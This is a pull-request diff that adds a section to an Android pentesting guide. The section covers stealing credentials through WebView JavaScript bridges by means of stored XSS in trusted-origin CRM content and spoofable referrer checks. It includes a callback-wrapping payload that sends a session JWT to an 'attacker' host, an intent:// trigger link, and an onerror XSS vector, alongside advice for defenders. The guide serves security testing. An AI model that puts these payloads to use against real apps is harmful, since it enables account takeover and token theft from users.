Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
61 changes: 61 additions & 0 deletions src/mobile-pentesting/android-app-pentesting/webview-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -521,6 +521,64 @@ Related




## Trusted-origin HTML/CRM content β†’ bridge credential theft

A strict host allowlist on a WebView is **not enough** if the trusted origin itself renders attacker-influenceable HTML such as CRM banners, loyalty widgets, support chat content, or feature-flagged marketing fragments. A practical chain is:

1. An attacker can write a profile/CRM field using a public customer identifier or another weak authorization primitive.
2. A first-party page requests banner/template JSON containing that field.
3. The SDK renders the returned HTML with a sink such as `innerHTML`, `outerHTML`, or `insertAdjacentHTML`.
4. The resulting stored XSS executes on the trusted origin already allowed to use the native bridge.
5. JavaScript invokes a bridge action that returns a session credential.

Minimal sink pattern:

```javascript
const banner = JSON.parse(resp)
container.innerHTML = banner.html
```

Hunting tips:
- Trace **attacker-writable profile fields** into banners, campaigns, dashboards, previews, and in-app loyalty content.
- Check whether the backend/API authorizes profile reads or writes using a **public identifier** leaked in invite links, API responses, analytics calls, or app resources.
- Remember that **JSON escaping is not HTML escaping**: after `JSON.parse`, `<img src=x onerror=...>` is live markup again.

### Callback wrapping to steal credential-returning bridge results

Many bridges return data to the page through a global callback such as `window.callWebView(...)`. If a bridge action returns a **JWT/session token** (`refresh_jwt`, `getToken`, `getSession`, etc.), preserve normal app behaviour by wrapping the callback, extracting the sensitive field, and then calling the original handler:

```javascript
const orig = window.callWebView;
window.callWebView = function (m) {
const d = typeof m === 'string' ? JSON.parse(m) : m;
if (d.action === 'refresh_jwt' && d.payload?.data)
new Image().src = 'https://attacker/j?t=' + encodeURIComponent(d.payload.data);
return orig.apply(this, arguments);
};
window.Android.postMessage(JSON.stringify({ action: 'refresh_jwt', payload: { old_jwt: '' } }));
```

`new Image().src` is a reliable exfiltration primitive because it only needs the browser/WebView to issue the request; it does **not** need response access.

### Exported bridge-enabled Activities: scheme-only checks and `getReferrer()` are not auth

If an exported `VIEW`/`BROWSABLE` Activity forwards `url=` (or similar extras) into `loadUrl()` while the bridge stays attached, **scheme-only validation is insufficient**: the attacker still controls the host and path. `Activity.getReferrer()` is also a weak guard for privileged WebViews. Android documents that `getReferrer()` returns `Intent.EXTRA_REFERRER` when present and explicitly warns that **applications can spoof it**.

Browser-delivered trigger example:

```html
<a href="intent://webdialog?url=https%3A%2F%2Ftrusted.example%2Frewards%3Fbanner%3Dweekly#Intent;scheme=app;package=com.victim;end">
Open reward
</a>
```

Practical notes:
- Validate **scheme + exact host** before calling `loadUrl()`, not just the scheme.
- Re-check trust after redirects/navigation and remove the bridge when leaving trusted origins.
- To confirm token exfiltration really came from the in-app WebView, inspect the request for a `; wv` WebView user-agent marker, the app package in `X-Requested-With`, and the expected first-party `Referer`.


## References

- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
Expand All @@ -535,6 +593,9 @@ Related
- [Account takeover in Android app via JSB – tuxplorer.com](https://tuxplorer.com/posts/account-takeover-via-jsb/)
- [LSPosed – systemless Xposed framework](https://github.com/LSPosed/LSPosed)
- [Frida codeshare: Cordova – enable WebView debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)
- [From a β€œHey, {name} πŸ‘‹β€ Banner to Full Account Takeover: Chaining Four Bugs Through a Rewards WebView](https://medium.com/@bag0zathev2/from-a-hey-name-banner-to-full-account-takeover-chaining-4-bugs-through-a-rewards-webview-f89a2b0f830f)
- [Android `Activity.getReferrer()` reference](https://developer.android.com/reference/android/app/Activity#getReferrer())
- [Android `Intent.EXTRA_REFERRER` reference](https://developer.android.com/reference/android/content/Intent#EXTRA_REFERRER)

{{#include ../../banners/hacktricks-training.md}}

Expand Down